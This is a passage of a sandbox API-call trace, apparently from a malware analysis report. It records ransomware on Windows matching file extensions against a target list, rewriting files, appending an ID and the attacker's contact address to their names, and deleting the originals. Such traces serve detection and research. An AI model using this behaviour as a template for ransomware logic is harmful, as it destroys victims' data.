lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x4e380, lpOverlapped=0x0) returned 1 [0054.401] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x4e390, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x4e390, lpOverlapped=0x0) returned 1 [0054.406] ReadFile (in: hFile=0x22c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.406] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.406] SetEndOfFile (hFile=0x1b8) returned 1 [0054.407] CloseHandle (hObject=0x1b8) returned 1 [0054.407] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.407] SetEndOfFile (hFile=0x22c) returned 1 [0054.409] CloseHandle (hObject=0x22c) returned 1 [0054.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.410] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 1 [0054.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.410] lstrlenW (lpString=".doc") returned 4 [0054.410] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.410] lstrlenW (lpString=".docx") returned 5 [0054.410] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.410] lstrlenW (lpString=".pdf") returned 4 [0054.410] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.410] lstrlenW (lpString=".xls") returned 4 [0054.410] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.410] lstrlenW (lpString=".xlsx") returned 5 [0054.410] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.410] lstrlenW (lpString=".ppt") returned 4 [0054.410] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.410] lstrlenW (lpString=".zip") returned 4 [0054.410] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.410] lstrlenW (lpString=".rar") returned 4 [0054.410] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.410] lstrlenW (lpString=".bz2") returned 4 [0054.410] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.410] lstrlenW (lpString=".7z") returned 3 [0054.411] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.411] lstrlenW (lpString=".dbf") returned 4 [0054.411] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.411] lstrlenW (lpString=".1cd") returned 4 [0054.411] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.411] lstrlenW (lpString=".jpg") returned 4 [0054.411] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.411] lstrlenW (lpString=".doc") returned 4 [0054.411] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.411] lstrlenW (lpString=".docx") returned 5 [0054.411] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.411] lstrlenW (lpString=".pdf") returned 4 [0054.411] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.411] lstrlenW (lpString=".xls") returned 4 [0054.411] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.411] lstrlenW (lpString=".xlsx") returned 5 [0054.411] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.411] lstrlenW (lpString=".ppt") returned 4 [0054.411] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.411] lstrlenW (lpString=".zip") returned 4 [0054.411] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.411] lstrlenW (lpString=".rar") returned 4 [0054.411] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.411] lstrlenW (lpString=".bz2") returned 4 [0054.411] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.411] lstrlenW (lpString=".7z") returned 3 [0054.411] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.412] lstrlenW (lpString=".dbf") returned 4 [0054.412] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.412] lstrlenW (lpString=".1cd") returned 4 [0054.412] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0054.412] lstrlenW (lpString=".jpg") returned 4 [0054.412] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.412] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0054.412] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0054.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.413] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=4096) returned 1 [0054.413] CloseHandle (hObject=0x22c) returned 1 [0054.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0054.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.413] lstrlenW (lpString=".doc") returned 4 [0054.413] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0054.413] lstrlenW (lpString=".docx") returned 5 [0054.413] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0054.414] lstrlenW (lpString=".pdf") returned 4 [0054.414] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0054.414] lstrlenW (lpString=".xls") returned 4 [0054.414] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0054.414] lstrlenW (lpString=".xlsx") returned 5 [0054.414] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0054.414] lstrlenW (lpString=".ppt") returned 4 [0054.414] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0054.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.414] lstrlenW (lpString=".zip") returned 4 [0054.414] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0054.414] lstrlenW (lpString=".rar") returned 4 [0054.414] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0054.414] lstrlenW (lpString=".bz2") returned 4 [0054.414] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0054.414] lstrlenW (lpString=".7z") returned 3 [0054.414] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0054.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.414] lstrlenW (lpString=".dbf") returned 4 [0054.414] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0054.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.414] lstrlenW (lpString=".1cd") returned 4 [0054.414] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0054.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.414] lstrlenW (lpString=".jpg") returned 4 [0054.414] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0054.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.414] lstrlenW (lpString=".doc") returned 4 [0054.414] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0054.414] lstrlenW (lpString=".docx") returned 5 [0054.414] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0054.414] lstrlenW (lpString=".pdf") returned 4 [0054.414] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0054.414] lstrlenW (lpString=".xls") returned 4 [0054.415] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0054.415] lstrlenW (lpString=".xlsx") returned 5 [0054.415] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0054.415] lstrlenW (lpString=".ppt") returned 4 [0054.415] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0054.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.415] lstrlenW (lpString=".zip") returned 4 [0054.415] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0054.415] lstrlenW (lpString=".rar") returned 4 [0054.415] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0054.415] lstrlenW (lpString=".bz2") returned 4 [0054.415] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0054.415] lstrlenW (lpString=".7z") returned 3 [0054.415] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0054.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.415] lstrlenW (lpString=".dbf") returned 4 [0054.415] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0054.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.415] lstrlenW (lpString=".1cd") returned 4 [0054.415] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0054.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0054.415] lstrlenW (lpString=".jpg") returned 4 [0054.415] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0054.415] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0054.415] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0054.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.416] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=193024) returned 1 [0054.416] CloseHandle (hObject=0x22c) returned 1 [0054.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0054.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.416] lstrlenW (lpString=".doc") returned 4 [0054.416] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0054.416] lstrlenW (lpString=".docx") returned 5 [0054.416] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0054.416] lstrlenW (lpString=".pdf") returned 4 [0054.416] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0054.416] lstrlenW (lpString=".xls") returned 4 [0054.416] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0054.416] lstrlenW (lpString=".xlsx") returned 5 [0054.416] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0054.416] lstrlenW (lpString=".ppt") returned 4 [0054.416] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0054.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.416] lstrlenW (lpString=".zip") returned 4 [0054.417] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0054.417] lstrlenW (lpString=".rar") returned 4 [0054.417] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0054.417] lstrlenW (lpString=".bz2") returned 4 [0054.417] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0054.417] lstrlenW (lpString=".7z") returned 3 [0054.417] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0054.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.417] lstrlenW (lpString=".dbf") returned 4 [0054.417] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0054.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.417] lstrlenW (lpString=".1cd") returned 4 [0054.417] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0054.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.417] lstrlenW (lpString=".jpg") returned 4 [0054.417] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0054.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.417] lstrlenW (lpString=".doc") returned 4 [0054.417] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0054.417] lstrlenW (lpString=".docx") returned 5 [0054.417] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0054.417] lstrlenW (lpString=".pdf") returned 4 [0054.417] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0054.417] lstrlenW (lpString=".xls") returned 4 [0054.417] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0054.417] lstrlenW (lpString=".xlsx") returned 5 [0054.417] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0054.417] lstrlenW (lpString=".ppt") returned 4 [0054.417] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0054.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.417] lstrlenW (lpString=".zip") returned 4 [0054.417] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0054.417] lstrlenW (lpString=".rar") returned 4 [0054.418] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0054.418] lstrlenW (lpString=".bz2") returned 4 [0054.418] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0054.418] lstrlenW (lpString=".7z") returned 3 [0054.418] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0054.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.418] lstrlenW (lpString=".dbf") returned 4 [0054.418] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0054.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.418] lstrlenW (lpString=".1cd") returned 4 [0054.418] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0054.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0054.418] lstrlenW (lpString=".jpg") returned 4 [0054.418] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0054.418] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0054.418] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0054.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.418] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3584) returned 1 [0054.418] CloseHandle (hObject=0x22c) returned 1 [0054.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0054.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.419] lstrlenW (lpString=".doc") returned 4 [0054.419] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0054.419] lstrlenW (lpString=".docx") returned 5 [0054.419] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0054.419] lstrlenW (lpString=".pdf") returned 4 [0054.419] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0054.419] lstrlenW (lpString=".xls") returned 4 [0054.419] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0054.419] lstrlenW (lpString=".xlsx") returned 5 [0054.419] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0054.419] lstrlenW (lpString=".ppt") returned 4 [0054.419] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0054.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.419] lstrlenW (lpString=".zip") returned 4 [0054.419] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0054.419] lstrlenW (lpString=".rar") returned 4 [0054.419] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0054.419] lstrlenW (lpString=".bz2") returned 4 [0054.419] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0054.419] lstrlenW (lpString=".7z") returned 3 [0054.419] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0054.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.419] lstrlenW (lpString=".dbf") returned 4 [0054.419] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0054.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.420] lstrlenW (lpString=".1cd") returned 4 [0054.420] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0054.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.420] lstrlenW (lpString=".jpg") returned 4 [0054.420] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0054.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.420] lstrlenW (lpString=".doc") returned 4 [0054.420] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0054.420] lstrlenW (lpString=".docx") returned 5 [0054.420] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0054.420] lstrlenW (lpString=".pdf") returned 4 [0054.420] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0054.420] lstrlenW (lpString=".xls") returned 4 [0054.420] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0054.420] lstrlenW (lpString=".xlsx") returned 5 [0054.420] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0054.420] lstrlenW (lpString=".ppt") returned 4 [0054.420] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0054.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.420] lstrlenW (lpString=".zip") returned 4 [0054.420] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0054.420] lstrlenW (lpString=".rar") returned 4 [0054.420] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0054.420] lstrlenW (lpString=".bz2") returned 4 [0054.420] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0054.420] lstrlenW (lpString=".7z") returned 3 [0054.420] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0054.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.420] lstrlenW (lpString=".dbf") returned 4 [0054.420] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0054.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.420] lstrlenW (lpString=".1cd") returned 4 [0054.420] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0054.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0054.421] lstrlenW (lpString=".jpg") returned 4 [0054.421] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0054.421] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0054.421] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0054.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.421] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3584) returned 1 [0054.421] CloseHandle (hObject=0x22c) returned 1 [0054.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0054.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0054.421] lstrlenW (lpString=".doc") returned 4 [0054.422] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0054.422] lstrlenW (lpString=".docx") returned 5 [0054.422] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0054.422] lstrlenW (lpString=".pdf") returned 4 [0054.422] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0054.422] lstrlenW (lpString=".xls") returned 4 [0054.422] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0054.422] lstrlenW (lpString=".xlsx") returned 5 [0054.422] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") 